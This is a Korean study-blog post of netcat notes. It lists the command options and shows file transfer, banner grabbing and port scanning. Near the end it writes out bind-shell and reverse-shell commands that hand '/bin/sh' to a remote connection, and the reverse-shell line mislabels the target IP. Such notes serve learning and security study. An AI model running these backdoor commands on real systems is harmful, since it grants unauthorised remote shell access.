일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- drift
- 계측
- CustomScrollView
- textfield
- 테스트
- 안드로이드
- activity
- Kotlin
- scroll
- tabbar
- textview
- Button
- ScrollView
- viewmodel
- Coroutines
- Compose
- intent
- data
- 앱바
- binding
- LifeCycle
- appbar
- livedata
- 앱
- Dialog
- Navigation
- TEST
- DART
- android
- Flutter
- Today
- Total
Study Record
[리버싱] netcat(nc) CMD 본문
nc CMD
- yum -y install nmap-ncat
- client, server 모델이다.
- 인위적인 TCP / UDP 연결이 가능하다.
- 모의해킹 관점 : 백도어(EX: reverse_tcp, bind_tcp)로 사용된다.
- 포렌식 관점 : 파일 전송(EX: OS Image 전송, 지정된 이미지 파일 전송)
☞ 옵션
-n : 호스트 네임과 포트를 숫자로만 입력받는다.
-v : 더 많은 정보를 얻을수 있다.
-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.
-u : TCP connection 대신에 UDP connection 이 이루어 진다.
-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.
-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.
-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. nc를 server 로서 쓸때 사용.
-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.
-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.
-w [connection time] : 최대 연결 리슨 시간(-w 1 : 1초가 default)
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize 합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.
※ 서버와 클라이언트 모델일 경우
(server) nc -l 1234 : 1234포트로 listen 하고 있다.
(client) nc host.example.com 1234 : host.example.com 에 1234 포트로 연결을 시도한다.
※ 파일 전송할 경우
(server) nc -l 1234 > filename.out
(client) nc host.example.com 1234 < filename.in
: 클라이언트에서 filename.in 을 전송하면 서버에서 filename.out 로 파일을 받는다.
※ 서비스 배너 수집
# echo -e "HEAD / HTTP/1.0\n\n" | nc https.apache.org 80
HTTP/1.1 200 OK Date: Fri, 22 Aug 2014 07:13:00 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT ETag: "9ae4-5013288ca49a2" Accept-Ranges: bytes Content-Length: 39652 Vary: Accept-Encoding Cache-Control: max-age=3600 Expires: Fri, 22 Aug 2014 08:13:00 GMT Connection: close Content-Type: text/html; charset=utf-8 |
※ 포트 스캐닝
# nc -n -v -z -w 1 10.0.2.100 1-1023
※ 백도어 쉘 - bind_tcp
(Victim - 공인 IP) nc -e /bin/sh -l -p 1234
(Attack - 사설 IP) nc <Victim's IP> 1234
※ 리버스 쉘 - reverse_tcp
(Attack - 공인 IP) nc -v -l -p 1234
(Victim - 사설 IP) nc <Victim's IP> 1234 -e /bin/sh
'리버싱 > 기본' 카테고리의 다른 글
[리버싱] 참고 CMD(readelf, nm, objdump/objcopy, strings, binwalk, as, ld) (0) | 2021.11.15 |
---|---|
[리버싱] Hack Me 리버싱 의사코드 복원 (5,6단계) (0) | 2021.11.15 |
[리버싱] 간단한 어셈블리 코드 분석 후 복원 (0) | 2021.11.12 |
[리버싱] 어셈블리어 문법 (0) | 2021.11.12 |
[리버싱] gdb 사용법 (0) | 2021.11.12 |